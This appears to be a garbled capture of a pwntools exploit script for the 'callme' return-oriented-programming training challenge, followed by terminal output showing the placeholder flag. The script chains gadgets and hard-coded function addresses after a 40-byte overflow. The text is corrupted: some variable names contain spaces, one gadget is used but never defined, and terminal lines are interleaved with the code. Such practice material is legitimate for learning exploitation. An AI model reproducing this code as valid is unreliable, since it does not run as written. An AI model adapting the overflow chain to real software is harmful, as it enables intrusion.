```
from pwn import *
only ret gadget = p64(0x00000000004006be)
#define addresses of functions
callme one = p64(0x00400720)
callme_two = p64(0x00400740)
callme\_three = p64(0x004006f0)
#gadget to populate registers
#create the payload, starting with 40 bytes to make buffer overflow happening and putting the first gadget
as the return address, to start our chain
payload = b"A"*40
payload += only_ret_gadget
payload += pop_three_reg
payload += p64(0xdeadbeefdeadbeef) #load into rdi
payload += p64(0xcafebabecafebabe) #load into rsi
payload += p64(0xd00df00dd00df00d) #load into rdx
payload += callme one # call1
payload += pop_three_reg
payload += p64(0xdeadbeefdeadbeef) #load into rdi
payload += p64(0xcafebabecafebabe) #load into rsi
payload += p64(0xd00df00dd00df00d) #load into rdx
payload += callme_two # call2
payload += pop_three_reg
payload += p64(0xdeadbeefdeadbeef) #load into rdi
payload += p64(0xcafebabecafebabe) #load into rsi
payload += p64(0xd00df00dd00df00d) #load into rdx
                                                                                    callme$ python solution
payload += callme_three # call3
                                          [+] Starting local process './callme': pid 5378
                                          /home/ubuntu/Downloads/Pwning/17 - ROP/2_callme/solution.py:38: BytesWar
io = process("./callme")
                                          ning: Text is not bytes; assuming ASCII, no guarantees. See https://docs
```

```
// home/ubuntu/Downloads/Pwning/17 - ROP/2_callme/solution.py:38: BytesWar
ning: Text is not bytes; assuming ASCII, no guarantees. See https://docs
io.recvuntil("> ")
io.sendline(payload)
print(io.recvall())

// home/ubuntu/Downloads/Pwning/17 - ROP/2_callme/solution.py:38: BytesWar
ning: Text is not bytes; assuming ASCII, no guarantees. See https://docs
.pwntools.com/#bytes
io.recvuntil("> ")

[*] Receiving all data: Done (104B)
[*] Process './callme' stopped with exit code 0 (pid 5378)
b'Thank you!\ncallme_one() called correctly\ncallme_two() called correct
ly\nROPE{a_placeholder_32byte_flag!}\n'
```